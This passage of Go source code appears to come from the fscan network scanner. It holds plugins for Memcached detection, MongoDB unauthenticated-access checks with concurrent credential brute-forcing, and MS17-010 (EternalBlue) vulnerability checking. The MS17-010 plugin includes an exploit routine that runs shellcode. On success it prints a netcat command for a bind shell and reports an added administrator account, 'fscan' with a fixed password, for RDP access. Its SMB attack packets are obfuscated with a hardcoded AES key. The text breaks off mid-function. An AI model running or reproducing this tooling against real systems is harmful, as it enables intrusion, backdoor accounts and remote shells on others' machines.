conn, err := common.WrapperTcpWithTimeout("tcp", target, config.Timeout)
|
||||
if err != nil {
|
||||
state.IncrementTCPFailedPacketCount()
|
||||
connChan <- nil
|
||||
return
|
||||
}
|
||||
state.IncrementTCPSuccessPacketCount()
|
||||
_ = conn.SetDeadline(time.Now().Add(config.Timeout))
|
||||
connChan <- conn
|
||||
}()
|
||||
|
||||
select {
|
||||
case conn := <-connChan:
|
||||
return conn
|
||||
case <-ctx.Done():
|
||||
// context 被取消,启动清理协程等待并关闭可能创建的连接
|
||||
go func() {
|
||||
conn := <-connChan
|
||||
if conn != nil {
|
||||
_ = conn.Close()
|
||||
}
|
||||
}()
|
||||
return nil
|
||||
}
|
||||
}
|
||||
|
||||
func (p *MemcachedPlugin) testBasicCommand(conn net.Conn, config *common.Config) bool {
|
||||
_ = conn.SetWriteDeadline(time.Now().Add(config.Timeout))
|
||||
if _, err := conn.Write([]byte("version\r\n")); err != nil {
|
||||
return false
|
||||
}
|
||||
|
||||
_ = conn.SetReadDeadline(time.Now().Add(config.Timeout))
|
||||
response := make([]byte, 1024)
|
||||
n, err := conn.Read(response)
|
||||
if err != nil {
|
||||
return false
|
||||
}
|
||||
|
||||
responseStr := string(response[:n])
|
||||
return common.ContainsAny(responseStr, "VERSION", "memcached")
|
||||
}
|
||||
|
||||
func (p *MemcachedPlugin) identifyService(ctx context.Context, info *common.HostInfo, config *common.Config, state *common.State) *ScanResult {
|
||||
target := info.Target()
|
||||
|
||||
conn := p.connectToMemcached(ctx, info, config, state)
|
||||
if conn == nil {
|
||||
return &ScanResult{
|
||||
Success: false,
|
||||
Service: "memcached",
|
||||
Error: fmt.Errorf("无法连接到Memcached服务"),
|
||||
}
|
||||
}
|
||||
defer func() { _ = conn.Close() }()
|
||||
|
||||
if p.testBasicCommand(conn, config) {
|
||||
banner := "Memcached"
|
||||
common.LogSuccess(i18n.Tr("memcached_service", target, banner))
|
||||
return &ScanResult{
|
||||
Type: plugins.ResultTypeService,
|
||||
Success: true,
|
||||
Service: "memcached",
|
||||
Banner: banner,
|
||||
}
|
||||
}
|
||||
|
||||
return &ScanResult{
|
||||
Success: false,
|
||||
Service: "memcached",
|
||||
Error: fmt.Errorf("无法识别为Memcached服务"),
|
||||
}
|
||||
}
|
||||
|
||||
func init() {
|
||||
RegisterPluginWithPorts("memcached", func() Plugin {
|
||||
return NewMemcachedPlugin()
|
||||
}, []int{11211, 11212, 11213})
|
||||
}
|
||||
@@ -0,0 +1,320 @@
|
||||
//go:build plugin_mongodb || !plugin_selective
|
||||
|
||||
package services
|
||||
|
||||
import (
|
||||
"context"
|
||||
"errors"
|
||||
"fmt"
|
||||
"io"
|
||||
"strings"
|
||||
"time"
|
||||
|
||||
"github.com/shadow1ng/fscan/common"
|
||||
"github.com/shadow1ng/fscan/common/i18n"
|
||||
"github.com/shadow1ng/fscan/plugins"
|
||||
"go.mongodb.org/mongo-driver/mongo"
|
||||
"go.mongodb.org/mongo-driver/mongo/options"
|
||||
)
|
||||
|
||||
// MongoDBPlugin MongoDB扫描插件
|
||||
type MongoDBPlugin struct {
|
||||
plugins.BasePlugin
|
||||
}
|
||||
|
||||
func NewMongoDBPlugin() *MongoDBPlugin {
|
||||
return &MongoDBPlugin{
|
||||
BasePlugin: plugins.NewBasePlugin("mongodb"),
|
||||
}
|
||||
}
|
||||
|
||||
func (p *MongoDBPlugin) Scan(ctx context.Context, info *common.HostInfo, config *common.Config, state *common.State) *ScanResult {
|
||||
target := info.Target()
|
||||
|
||||
if config.DisableBrute {
|
||||
return p.identifyService(ctx, info, config)
|
||||
}
|
||||
|
||||
// 首先检测未授权访问
|
||||
isUnauth, err := p.mongodbUnauth(ctx, info, config)
|
||||
if err != nil {
|
||||
return &ScanResult{
|
||||
Success: false,
|
||||
Service: "mongodb",
|
||||
Error: err,
|
||||
}
|
||||
}
|
||||
|
||||
if isUnauth {
|
||||
common.LogSuccess(i18n.Tr("mongodb_unauth", target))
|
||||
return &ScanResult{
|
||||
Type: plugins.ResultTypeVuln,
|
||||
Success: true,
|
||||
Service: "mongodb",
|
||||
VulInfo: "未授权访问",
|
||||
}
|
||||
}
|
||||
|
||||
// 如果需要认证,使用并发方式尝试常见凭据
|
||||
credentials := GenerateCredentials("mongodb", config)
|
||||
if len(credentials) == 0 {
|
||||
return &ScanResult{
|
||||
Success: false,
|
||||
Service: "mongodb",
|
||||
Error: fmt.Errorf("没有可用的测试凭据"),
|
||||
}
|
||||
}
|
||||
|
||||
// 使用公共框架进行并发凭据测试
|
||||
authFn := p.createAuthFunc(info, config, state)
|
||||
testConfig := DefaultConcurrentTestConfig(config)
|
||||
|
||||
result := TestCredentialsConcurrently(ctx, credentials, authFn, "mongodb", testConfig)
|
||||
|
||||
if result.Success {
|
||||
common.LogSuccess(i18n.Tr("mongodb_credential", target, result.Username, result.Password))
|
||||
}
|
||||
|
||||
return result
|
||||
}
|
||||
|
||||
// createAuthFunc 创建MongoDB认证函数
|
||||
func (p *MongoDBPlugin) createAuthFunc(info *common.HostInfo, config *common.Config, state *common.State) AuthFunc {
|
||||
return func(ctx context.Context, cred Credential) *AuthResult {
|
||||
return p.doMongoDBAuth(ctx, info, cred, config, state)
|
||||
}
|
||||
}
|
||||
|
||||
// doMongoDBAuth 执行MongoDB认证
|
||||
func (p *MongoDBPlugin) doMongoDBAuth(ctx context.Context, info *common.HostInfo, cred Credential, config *common.Config, state *common.State) *AuthResult {
|
||||
var uri string
|
||||
timeout := config.Timeout
|
||||
|
||||
if cred.Username != "" && cred.Password != "" {
|
||||
uri = fmt.Sprintf("mongodb://%s:%s@%s:%d/?connectTimeoutMS=%d&serverSelectionTimeoutMS=%d",
|
||||
cred.Username, cred.Password, info.Host, info.Port, timeout.Milliseconds(), timeout.Milliseconds())
|
||||
} else if cred.Username != "" {
|
||||
uri = fmt.Sprintf("mongodb://%s:@%s:%d/?connectTimeoutMS=%d&serverSelectionTimeoutMS=%d",
|
||||
cred.Username, info.Host, info.Port, timeout.Milliseconds(), timeout.Milliseconds())
|
||||
} else {
|
||||
uri = fmt.Sprintf("mongodb://%s:%d/?connectTimeoutMS=%d&serverSelectionTimeoutMS=%d",
|
||||
info.Host, info.Port, timeout.Milliseconds(), timeout.Milliseconds())
|
||||
}
|
||||
|
||||
clientOptions := options.Client().ApplyURI(uri)
|
||||
|
||||
authCtx, cancel := context.WithTimeout(ctx, config.Timeout)
|
||||
defer cancel()
|
||||
|
||||
client, err := mongo.Connect(authCtx, clientOptions)
|
||||
if err != nil {
|
||||
state.IncrementTCPFailedPacketCount()
|
||||
return &AuthResult{
|
||||
Success: false,
|
||||
ErrorType: classifyMongoDBErrorType(err),
|
||||
Error: err,
|
||||
}
|
||||
}
|
||||
state.IncrementTCPSuccessPacketCount()
|
||||
|
||||
err = client.Ping(authCtx, nil)
|
||||
if err != nil {
|
||||
_ = client.Disconnect(authCtx)
|
||||
return &AuthResult{
|
||||
Success: false,
|
||||
ErrorType: classifyMongoDBErrorType(err),
|
||||
Error: err,
|
||||
}
|
||||
}
|
||||
|
||||
return &AuthResult{
|
||||
Success: true,
|
||||
Conn: &mongoClientWrapper{client, ctx},
|
||||
ErrorType: ErrorTypeUnknown,
|
||||
Error: nil,
|
||||
}
|
||||
}
|
||||
|
||||
// mongoClientWrapper 包装 mongo.Client 以实现 io.Closer
|
||||
type mongoClientWrapper struct {
|
||||
*mongo.Client
|
||||
ctx context.Context
|
||||
}
|
||||
|
||||
func (w *mongoClientWrapper) Close() error {
|
||||
return w.Disconnect(w.ctx)
|
||||
}
|
||||
|
||||
// classifyMongoDBErrorType MongoDB错误分类
|
||||
func classifyMongoDBErrorType(err error) ErrorType {
|
||||
if err == nil {
|
||||
return ErrorTypeUnknown
|
||||
}
|
||||
|
||||
mongoAuthErrors := []string{
|
||||
"authentication failed",
|
||||
"auth mechanism",
|
||||
"unauthorized",
|
||||
"scram",
|
||||
"credential",
|
||||
"invalid username",
|
||||
"invalid password",
|
||||
"login failed",
|
||||
"access denied",
|
||||
"authentication mechanism",
|
||||
"sasl",
|
||||
"mongo auth",
|
||||
"bad auth",
|
||||
"wrong credentials",
|
||||
}
|
||||
|
||||
mongoNetworkErrors := append(CommonNetworkErrors,
|
||||
"dial tcp",
|
||||
"connection closed",
|
||||
"eof",
|
||||
"server selection timeout",
|
||||
"connection pool closed",
|
||||
"no reachable servers",
|
||||
"topology",
|
||||
"network error",
|
||||
)
|
||||
|
||||
return ClassifyError(err, mongoAuthErrors, mongoNetworkErrors)
|
||||
}
|
||||
|
||||
func (p *MongoDBPlugin) identifyService(ctx context.Context, info *common.HostInfo, config *common.Config) *ScanResult {
|
||||
target := info.Target()
|
||||
|
||||
isUnauth, err := p.mongodbUnauth(ctx, info, config)
|
||||
if err != nil {
|
||||
return &ScanResult{
|
||||
Success: false,
|
||||
Service: "mongodb",
|
||||
Error: err,
|
||||
}
|
||||
}
|
||||
|
||||
if isUnauth {
|
||||
common.LogSuccess(i18n.Tr("mongodb_unauth", target))
|
||||
return &ScanResult{
|
||||
Type: plugins.ResultTypeVuln,
|
||||
Success: true,
|
||||
Service: "mongodb",
|
||||
VulInfo: "未授权访问",
|
||||
}
|
||||
}
|
||||
|
||||
common.LogSuccess(i18n.Tr("mongodb_auth_required", target))
|
||||
return &ScanResult{
|
||||
Type: plugins.ResultTypeService,
|
||||
Success: true,
|
||||
Service: "mongodb",
|
||||
Banner: "需要认证",
|
||||
}
|
||||
}
|
||||
|
||||
// mongodbUnauth 检测MongoDB未授权访问
|
||||
func (p *MongoDBPlugin) mongodbUnauth(ctx context.Context, info *common.HostInfo, config *common.Config) (bool, error) {
|
||||
msgPacket := p.createOpMsgPacket()
|
||||
queryPacket := p.createOpQueryPacket()
|
||||
realhost := fmt.Sprintf("%s:%d", info.Host, info.Port)
|
||||
|
||||
reply, err := p.checkMongoAuth(ctx, realhost, msgPacket, config)
|
||||
if err != nil {
|
||||
reply, err = p.checkMongoAuth(ctx, realhost, queryPacket, config)
|
||||
if err != nil {
|
||||
return false, err
|
||||
}
|
||||
}
|
||||
|
||||
if strings.Contains(reply, "totalLinesWritten") {
|
||||
return true, nil
|
||||
}
|
||||
|
||||
if len(reply) > 0 {
|
||||
return false, nil
|
||||
}
|
||||
|
||||
return false, fmt.Errorf("无法识别为MongoDB服务")
|
||||
}
|
||||
|
||||
// checkMongoAuth 检查MongoDB认证状态
|
||||
func (p *MongoDBPlugin) checkMongoAuth(ctx context.Context, address string, packet []byte, config *common.Config) (string, error) {
|
||||
conn, err := common.WrapperTcpWithTimeout("tcp", address, config.Timeout)
|
||||
if err != nil {
|
||||
return "", fmt.Errorf("连接失败: %w", err)
|
||||
}
|
||||
defer func() { _ = conn.Close() }()
|
||||
|
||||
select {
|
||||
case <-ctx.Done():
|
||||
return "", ctx.Err()
|
||||
default:
|
||||
}
|
||||
|
||||
if deadlineErr := conn.SetDeadline(time.Now().Add(config.Timeout)); deadlineErr != nil {
|
||||
return "", fmt.Errorf("设置超时失败: %w", deadlineErr)
|
||||
}
|
||||
|
||||
if _, writeErr := conn.Write(packet); writeErr != nil {
|
||||
return "", fmt.Errorf("发送查询失败: %w", writeErr)
|
||||
}
|
||||
|
||||
select {
|
||||
case <-ctx.Done():
|
||||
return "", ctx.Err()
|
||||
default:
|
||||
}
|
||||
|
||||
reply := make([]byte, 2048)
|
||||
count, err := conn.Read(reply)
|
||||
if err != nil && !errors.Is(err, io.EOF) {
|
||||
return "", fmt.Errorf("读取响应失败: %w", err)
|
||||
}
|
||||
|
||||
if count == 0 {
|
||||
return "", fmt.Errorf("收到空响应")
|
||||
}
|
||||
|
||||
return string(reply[:count]), nil
|
||||
}
|
||||
|
||||
// createOpMsgPacket 创建OP_MSG查询包
|
||||
func (p *MongoDBPlugin) createOpMsgPacket() []byte {
|
||||
return []byte{
|
||||
0x69, 0x00, 0x00, 0x00, 0x39, 0x00, 0x00, 0x00,
|
||||
0x00, 0x00, 0x00, 0x00, 0xdd, 0x07, 0x00, 0x00,
|
||||
0x00, 0x00, 0x00, 0x00, 0x00, 0x54, 0x00, 0x00,
|
||||
0x00, 0x02, 0x67, 0x65, 0x74, 0x4c, 0x6f, 0x67,
|
||||
0x00, 0x10, 0x00, 0x00, 0x00, 0x73, 0x74, 0x61,
|
||||
0x72, 0x74, 0x75, 0x70, 0x57, 0x61, 0x72, 0x6e,
|
||||
0x69, 0x6e, 0x67, 0x73, 0x00, 0x02, 0x24, 0x64,
|
||||
0x62, 0x00, 0x06, 0x00, 0x00, 0x00, 0x61, 0x64,
|
||||
0x6d, 0x69, 0x6e, 0x00, 0x03, 0x6c, 0x73, 0x69,
|
||||
0x64, 0x00, 0x1e, 0x00, 0x00, 0x00, 0x05, 0x69,
|
||||
0x64, 0x00, 0x10, 0x00, 0x00, 0x00, 0x04, 0x6e,
|
||||
0x81, 0xf8, 0x8e, 0x37, 0x7b, 0x4c, 0x97, 0x84,
|
||||
0x4e, 0x90, 0x62, 0x5a, 0x54, 0x3c, 0x93, 0x00, 0x00,
|
||||
}
|
||||
}
|
||||
|
||||
// createOpQueryPacket 创建OP_QUERY查询包
|
||||
func (p *MongoDBPlugin) createOpQueryPacket() []byte {
|
||||
return []byte{
|
||||
0x48, 0x00, 0x00, 0x00, 0x02, 0x00, 0x00, 0x00,
|
||||
0x00, 0x00, 0x00, 0x00, 0xd4, 0x07, 0x00, 0x00,
|
||||
0x00, 0x00, 0x00, 0x00, 0x61, 0x64, 0x6d, 0x69,
|
||||
0x6e, 0x2e, 0x24, 0x63, 0x6d, 0x64, 0x00, 0x00,
|
||||
0x00, 0x00, 0x00, 0x01, 0x00, 0x00, 0x00, 0x21,
|
||||
0x00, 0x00, 0x00, 0x02, 0x67, 0x65, 0x74, 0x4c,
|
||||
0x6f, 0x67, 0x00, 0x10, 0x00, 0x00, 0x00, 0x73,
|
||||
0x74, 0x61, 0x72, 0x74, 0x75, 0x70, 0x57, 0x61,
|
||||
0x72, 0x6e, 0x69, 0x6e, 0x67, 0x73, 0x00, 0x00,
|
||||
}
|
||||
}
|
||||
|
||||
func init() {
|
||||
RegisterPluginWithPorts("mongodb", func() Plugin {
|
||||
return NewMongoDBPlugin()
|
||||
}, []int{27017, 27018, 27019})
|
||||
}
|
||||
@@ -0,0 +1,494 @@
|
||||
//go:build plugin_ms17010 || !plugin_selective
|
||||
|
||||
package services
|
||||
|
||||
import (
|
||||
"context"
|
||||
"crypto/aes"
|
||||
"crypto/cipher"
|
||||
"encoding/base64"
|
||||
"encoding/binary"
|
||||
"encoding/hex"
|
||||
"fmt"
|
||||
"os"
|
||||
"strings"
|
||||
"time"
|
||||
|
||||
"github.com/shadow1ng/fscan/common"
|
||||
"github.com/shadow1ng/fscan/common/i18n"
|
||||
"github.com/shadow1ng/fscan/plugins"
|
||||
)
|
||||
|
||||
// MS17010Plugin MS17-010漏洞检测和利用插件 - 保持完整的原始利用功能
|
||||
type MS17010Plugin struct {
|
||||
plugins.BasePlugin
|
||||
}
|
||||
|
||||
// NewMS17010Plugin 创建MS17010插件
|
||||
func NewMS17010Plugin() *MS17010Plugin {
|
||||
return &MS17010Plugin{
|
||||
BasePlugin: plugins.NewBasePlugin("ms17010"),
|
||||
}
|
||||
}
|
||||
|
||||
// GetPorts 实现Plugin接口
|
||||
|
||||
// Scan 执行MS17-010扫描
|
||||
func (p *MS17010Plugin) Scan(ctx context.Context, info *common.HostInfo, config *common.Config, state *common.State) *ScanResult {
|
||||
// 如果禁用暴力破解,也禁用漏洞检测
|
||||
if config.DisableBrute {
|
||||
return &ScanResult{
|
||||
Success: false,
|
||||
Service: "ms17010",
|
||||
Error: fmt.Errorf("MS17010检测已禁用"),
|
||||
}
|
||||
}
|
||||
|
||||
target := info.Target()
|
||||
|
||||
// 检查端口
|
||||
if info.Port != 445 {
|
||||
return &ScanResult{
|
||||
Success: false,
|
||||
Service: "ms17010",
|
||||
Error: fmt.Errorf("MS17010漏洞检测仅支持445端口"),
|
||||
}
|
||||
}
|
||||
|
||||
// 执行MS17010漏洞检测
|
||||
vulnerable, osVersion, err := p.checkMS17010Vulnerability(info.Host, config, state)
|
||||
if err != nil {
|
||||
return &ScanResult{
|
||||
Success: false,
|
||||
Service: "ms17010",
|
||||
Error: err,
|
||||
}
|
||||
}
|
||||
|
||||
if vulnerable {
|
||||
msg := fmt.Sprintf("MS17-010 %s", target)
|
||||
if osVersion != "" {
|
||||
msg += fmt.Sprintf(" [%s]", osVersion)
|
||||
}
|
||||
common.LogSuccess(msg)
|
||||
|
||||
return &ScanResult{
|
||||
Success: true,
|
||||
Type: plugins.ResultTypeVuln,
|
||||
Service: "ms17010",
|
||||
Banner: fmt.Sprintf("MS17-010漏洞 (%s)", osVersion),
|
||||
}
|
||||
}
|
||||
|
||||
return &ScanResult{
|
||||
Success: false,
|
||||
Service: "ms17010",
|
||||
Error: fmt.Errorf("目标不存在MS17-010漏洞"),
|
||||
}
|
||||
}
|
||||
|
||||
// Exploit 执行MS17-010漏洞利用
|
||||
func (p *MS17010Plugin) Exploit(ctx context.Context, info *common.HostInfo, creds Credential, config *common.Config) *ExploitResult {
|
||||
target := info.Target()
|
||||
common.LogSuccess(i18n.Tr("ms17010_start", target))
|
||||
|
||||
var output strings.Builder
|
||||
output.WriteString(fmt.Sprintf("=== MS17-010漏洞利用结果 - %s ===\n", target))
|
||||
|
||||
// 首先确认漏洞存在
|
||||
vulnerable, osVersion, err := p.checkMS17010Vulnerability(info.Host, config, nil)
|
||||
if err != nil {
|
||||
output.WriteString(fmt.Sprintf("\n[漏洞检测失败] %v\n", err))
|
||||
return &ExploitResult{
|
||||
Success: false,
|
||||
Output: output.String(),
|
||||
Error: err,
|
||||
}
|
||||
}
|
||||
|
||||
if !vulnerable {
|
||||
output.WriteString("\n[漏洞状态] 目标不存在MS17-010漏洞\n")
|
||||
return &ExploitResult{
|
||||
Success: false,
|
||||
Output: output.String(),
|
||||
Error: fmt.Errorf("目标不存在MS17-010漏洞"),
|
||||
}
|
||||
}
|
||||
|
||||
output.WriteString("\n[漏洞确认] ✅ MS17-010漏洞存在\n")
|
||||
if osVersion != "" {
|
||||
output.WriteString(fmt.Sprintf("[操作系统] %s\n", osVersion))
|
||||
}
|
||||
|
||||
// 检测DOUBLEPULSAR后门
|
||||
hasBackdoor := p.checkDoublePulsar(info.Host, config)
|
||||
if hasBackdoor {
|
||||
output.WriteString("\n[后门检测] ⚠️ 发现DOUBLEPULSAR后门\n")
|
||||
} else {
|
||||
output.WriteString("\n[后门检测] 未发现DOUBLEPULSAR后门\n")
|
||||
}
|
||||
|
||||
// 如果有Shellcode配置,执行实际利用
|
||||
if config.Shellcode != "" {
|
||||
output.WriteString(fmt.Sprintf("\n[利用模式] %s\n", config.Shellcode))
|
||||
output.WriteString("[利用状态] 开始执行EternalBlue攻击...\n")
|
||||
|
||||
// 执行实际的MS17010利用
|
||||
err = p.executeMS17010Exploit(info, config)
|
||||
if err != nil {
|
||||
output.WriteString(fmt.Sprintf("[利用结果] ❌ 利用失败: %v\n", err))
|
||||
return &ExploitResult{
|
||||
Success: false,
|
||||
Output: output.String(),
|
||||
Error: err,
|
||||
}
|
||||
}
|
||||
output.WriteString("[利用结果] ✅ 漏洞利用成功完成\n")
|
||||
|
||||
// 根据不同类型提供后续操作建议
|
||||
switch config.Shellcode {
|
||||
case "bind":
|
||||
output.WriteString("\n[连接建议] 使用以下命令连接Bind Shell:\n")
|
||||
output.WriteString(fmt.Sprintf(" nc %s 64531\n", info.Host))
|
||||
case "add":
|
||||
output.WriteString("\n[访问建议] 已添加管理员账户,可以通过以下方式连接:\n")
|
||||
output.WriteString(" 用户名: fscan 密码: Fscan12345\n")
|
||||
output.WriteString(fmt.Sprintf(" RDP: mstsc /v:%s\n", info.Host))
|
||||
case "guest":
|
||||
output.WriteString("\n[访问建议] 已激活Guest账户,可以直接远程连接\n")
|
||||
}
|
||||
} else {
|
||||
output.WriteString("\n[利用模式] 仅检测模式 (未配置Shellcode)\n")
|
||||
output.WriteString("[建议] 可使用 -sc 参数配置Shellcode进行实际利用\n")
|
||||
output.WriteString(" 支持的模式: bind, add, guest 或自定义shellcode\n")
|
||||
}
|
||||
|
||||
common.LogSuccess(i18n.Tr("ms17010_complete", target))
|
||||
|
||||
return &ExploitResult{
|
||||
Success: true,
|
||||
Output: output.String(),
|
||||
}
|
||||
}
|
||||
|
||||
// 以下是完整的原始MS17010检测和利用代码,保持不变
|
||||
|
||||
// AES解密函数 (从legacy/Base.go复制)
|
||||
func aesDecrypt(crypted string, key string) (string, error) {
|
||||
cryptedBytes, err := base64.StdEncoding.DecodeString(crypted)
|
||||
if err != nil {
|
||||
return "", fmt.Errorf("base64解码失败: %w", err)
|
||||
}
|
||||
|
||||
keyBytes := []byte(key)
|
||||
block, err := aes.NewCipher(keyBytes)
|
||||
if err != nil {
|
||||
return "", fmt.Errorf("创建AES密码块失败: %w", err)
|
||||
}
|
||||
|
||||
if len(cryptedBytes) < aes.BlockSize {
|
||||
return "", fmt.Errorf("密文长度过短")
|
||||
}
|
||||
|
||||
iv := cryptedBytes[:aes.BlockSize]
|
||||
cryptedBytes = cryptedBytes[aes.BlockSize:]
|
||||
|
||||
mode := cipher.NewCBCDecrypter(block, iv)
|
||||
mode.CryptBlocks(cryptedBytes, cryptedBytes)
|
||||
|
||||
// 移除PKCS7填充
|
||||
padding := int(cryptedBytes[len(cryptedBytes)-1])
|
||||
if padding > len(cryptedBytes) || padding > aes.BlockSize {
|
||||
return "", fmt.Errorf("无效的填充")
|
||||
}
|
||||
|
||||
for i := len(cryptedBytes) - padding; i < len(cryptedBytes); i++ {
|
||||
if cryptedBytes[i] != byte(padding) {
|
||||
return "", fmt.Errorf("填充验证失败")
|
||||
}
|
||||
}
|
||||
|
||||
return string(cryptedBytes[:len(cryptedBytes)-padding]), nil
|
||||
}
|
||||
|
||||
// 默认AES解密密钥 (从legacy代码复制)
|
||||
var defaultKey = "0123456789abcdef"
|
||||
|
||||
// SMB协议加密的请求数据 (从原始MS17010.go复制)
|
||||
var (
|
||||
negotiateProtocolRequestEnc = "G8o+kd/4y8chPCaObKK8L9+tJVFBb7ntWH/EXJ74635V3UTXA4TFOc6uabZfuLr0Xisnk7OsKJZ2Xdd3l8HNLdMOYZXAX5ZXnMC4qI+1d/MXA2TmidXeqGt8d9UEF5VesQlhP051GGBSldkJkVrP/fzn4gvLXcwgAYee3Zi2opAvuM6ScXrMkcbx200ThnOOEx98/7ArteornbRiXQjnr6dkJEUDTS43AW6Jl3OK2876Yaz5iYBx+DW5WjiLcMR+b58NJRxm4FlVpusZjBpzEs4XOEqglk6QIWfWbFZYgdNLy3WaFkkgDjmB1+6LhpYSOaTsh4EM0rwZq2Z4Lr8TE5WcPkb/JNsWNbibKlwtNtp94fIYvAWgxt5mn/oXpfUD"
|
||||
sessionSetupRequestEnc = "52HeCQEbsSwiSXg98sdD64qyRou0jARlvfQi1ekDHS77Nk/8dYftNXlFahLEYWIxYYJ8u53db9OaDfAvOEkuox+p+Ic1VL70r9Q5HuL+NMyeyeN5T5el07X5cT66oBDJnScs1XdvM6CBRtj1kUs2h40Z5Vj9EGzGk99SFXjSqbtGfKFBp0DhL5wPQKsoiXYLKKh9NQiOhOMWHYy/C+Iwhf3Qr8d1Wbs2vgEzaWZqIJ3BM3z+dhRBszQoQftszC16TUhGQc48XPFHN74VRxXgVe6xNQwqrWEpA4hcQeF1+QqRVHxuN+PFR7qwEcU1JbnTNISaSrqEe8GtRo1r2rs7+lOFmbe4qqyUMgHhZ6Pwu1bkhrocMUUzWQBogAvXwFb8"
|
||||
treeConnectRequestEnc = "+b/lRcmLzH0c0BYhiTaYNvTVdYz1OdYYDKhzGn/3T3P4b6pAR8D+xPdlb7O4D4A9KMyeIBphDPmEtFy44rtto2dadFoit350nghebxbYA0pTCWIBd1kN0BGMEidRDBwLOpZE6Qpph/DlziDjjfXUz955dr0cigc9ETHD/+f3fELKsopTPkbCsudgCs48mlbXcL13GVG5cGwKzRuP4ezcdKbYzq1DX2I7RNeBtw/vAlYh6etKLv7s+YyZ/r8m0fBY9A57j+XrsmZAyTWbhPJkCg=="
|
||||
transNamedPipeRequestEnc = "k/RGiUQ/tw1yiqioUIqirzGC1SxTAmQmtnfKd1qiLish7FQYxvE+h4/p7RKgWemIWRXDf2XSJ3K0LUIX0vv1gx2eb4NatU7Qosnrhebz3gUo7u25P5BZH1QKdagzPqtitVjASpxIjB3uNWtYMrXGkkuAm8QEitberc+mP0vnzZ8Nv/xiiGBko8O4P/wCKaN2KZVDLbv2jrN8V/1zY6fvWA=="
|
||||
|
||||
// SMB协议解密后的请求数据
|
||||
negotiateProtocolRequest []byte
|
||||
sessionSetupRequest []byte
|
||||
treeConnectRequest []byte
|
||||
transNamedPipeRequest []byte
|
||||
)
|
||||
|
||||
// 初始化解密SMB协议数据
|
||||
func init() {
|
||||
var err error
|
||||
|
||||
// 解密协议请求
|
||||
decrypted, err := aesDecrypt(negotiateProtocolRequestEnc, defaultKey)
|
||||
if err != nil {
|
||||
common.LogError(i18n.Tr("ms17010_protocol_decrypt_error", err))
|
||||
return
|
||||
}
|
||||
negotiateProtocolRequest, err = hex.DecodeString(decrypted)
|
||||
if err != nil {
|
||||
common.LogError(i18n.Tr("ms17010_protocol_decode_error", err))
|
||||
return
|
||||
}
|
||||
|
||||
// 解密会话请求
|
||||
decrypted, err = aesDecrypt(sessionSetupRequestEnc, defaultKey)
|
||||
if err != nil {
|
||||
common.LogError(i18n.Tr("ms17010_session_decrypt_error", err))
|
||||
return
|
||||
}
|
||||
sessionSetupRequest, err = hex.DecodeString(decrypted)
|
||||
if err != nil {
|
||||
common.LogError(i18n.Tr("ms17010_session_decode_error", err))
|
||||
return
|
||||
}
|
||||
|
||||
// 解密连接请求
|
||||
decrypted, err = aesDecrypt(treeConnectRequestEnc, defaultKey)
|
||||
if err != nil {
|
||||
common.LogError(i18n.Tr("ms17010_connect_decrypt_error", err))
|
||||
return
|
||||
}
|
||||
treeConnectRequest, err = hex.DecodeString(decrypted)
|
||||
if err != nil {
|
||||
common.LogError(i18n.Tr("ms17010_connect_decode_error", err))
|
||||
return
|
||||
}
|
||||
|
||||
// 解密管道请求
|
||||
decrypted, err = aesDecrypt(transNamedPipeRequestEnc, defaultKey)
|
||||
if err != nil {
|
||||
common.LogError(i18n.Tr("ms17010_pipe_decrypt_error", err))
|
||||
return
|
||||
}
|
||||
transNamedPipeRequest, err = hex.DecodeString(decrypted)
|
||||
if err != nil {
|
||||
common.LogError(i18n.Tr("ms17010_pipe_decode_error", err))
|
||||
return
|
||||
}
|
||||
}
|
||||
|
||||
// checkMS17010Vulnerability 检测MS17-010漏洞 (从原始MS17010.go复制和适配)
|
||||
func (p *MS17010Plugin) checkMS17010Vulnerability(ip string, config *common.Config, state *common.State) (bool, string, error) {
|
||||
// 使用统一TCP包装器,支持代理和限流
|
||||
conn, err := common.WrapperTcpWithTimeout("tcp", ip+":445", config.Timeout)
|
||||
if err != nil {
|
||||
if state != nil {
|
||||
state.IncrementTCPFailedPacketCount()
|
||||
}
|
||||
return false, "", fmt.Errorf("连接错误: %w", err)
|
||||
}
|
||||
defer func() { _ = conn.Close() }()
|
||||
|
||||
if err = conn.SetDeadline(time.Now().Add(config.Timeout)); err != nil {
|
||||
return false, "", fmt.Errorf("设置超时错误: %w", err)
|
||||
}
|
||||
|
||||
// SMB协议协商
|
||||
if _, err = conn.Write(negotiateProtocolRequest); err != nil {
|
||||
return false, "", fmt.Errorf("发送协议请求错误: %w", err)
|
||||
}
|
||||
|
||||
reply := make([]byte, 1024)
|
||||
n, readErr := conn.Read(reply)
|
||||
if readErr != nil || n < 36 {
|
||||
if readErr != nil {
|
||||
return false, "", fmt.Errorf("读取协议响应错误: %w", readErr)
|
||||
}
|
||||
return false, "", fmt.Errorf("协议响应不完整")
|
||||
}
|
||||
|
||||
if binary.LittleEndian.Uint32(reply[9:13]) != 0 {
|
||||
return false, "", fmt.Errorf("协议协商被拒绝")
|
||||
}
|
||||
|
||||
// 建立会话
|
||||
if _, err = conn.Write(sessionSetupRequest); err != nil {
|
||||
return false, "", fmt.Errorf("发送会话请求错误: %w", err)
|
||||
}
|
||||
|
||||
n, readErr = conn.Read(reply)
|
||||
if readErr != nil || n < 36 {
|
||||
if readErr != nil {
|
||||
return false, "", fmt.Errorf("读取会话响应错误: %w", readErr)
|
||||
}
|
||||
return false, "", fmt.Errorf("会话响应不完整")
|
||||
}
|
||||
|
||||
if binary.LittleEndian.Uint32(reply[9:13]) != 0 {
|
||||
return false, "", fmt.Errorf("会话建立失败")
|
||||
}
|
||||
|
||||
// 提取系统信息
|
||||
var osVersion string
|
||||
sessionSetupResponse := reply[36:n]
|
||||
if wordCount := sessionSetupResponse[0]; wordCount != 0 {
|
||||
byteCount := binary.LittleEndian.Uint16(sessionSetupResponse[7:9])
|
||||
if n == int(byteCount)+45 {
|
||||
for i := 10; i < len(sessionSetupResponse)-1; i++ {
|
||||
if sessionSetupResponse[i] == 0 && sessionSetupResponse[i+1] == 0 {
|
||||
osVersion = string(sessionSetupResponse[10:i])
|
||||
osVersion = strings.ReplaceAll(osVersion, string([]byte{0x00}), "")
|
||||
break
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
// 树连接请求
|
||||
userID := reply[32:34]
|
||||
treeConnectRequest[32] = userID[0]
|
||||
treeConnectRequest[33] = userID[1]
|
||||
|
||||
if _, err = conn.Write(treeConnectRequest); err != nil {
|
||||
return false, osVersion, fmt.Errorf("发送树连接请求错误: %w", err)
|
||||
}
|
||||
|
||||
n, readErr = conn.Read(reply)
|
||||
if readErr != nil || n < 36 {
|
||||
if readErr != nil {
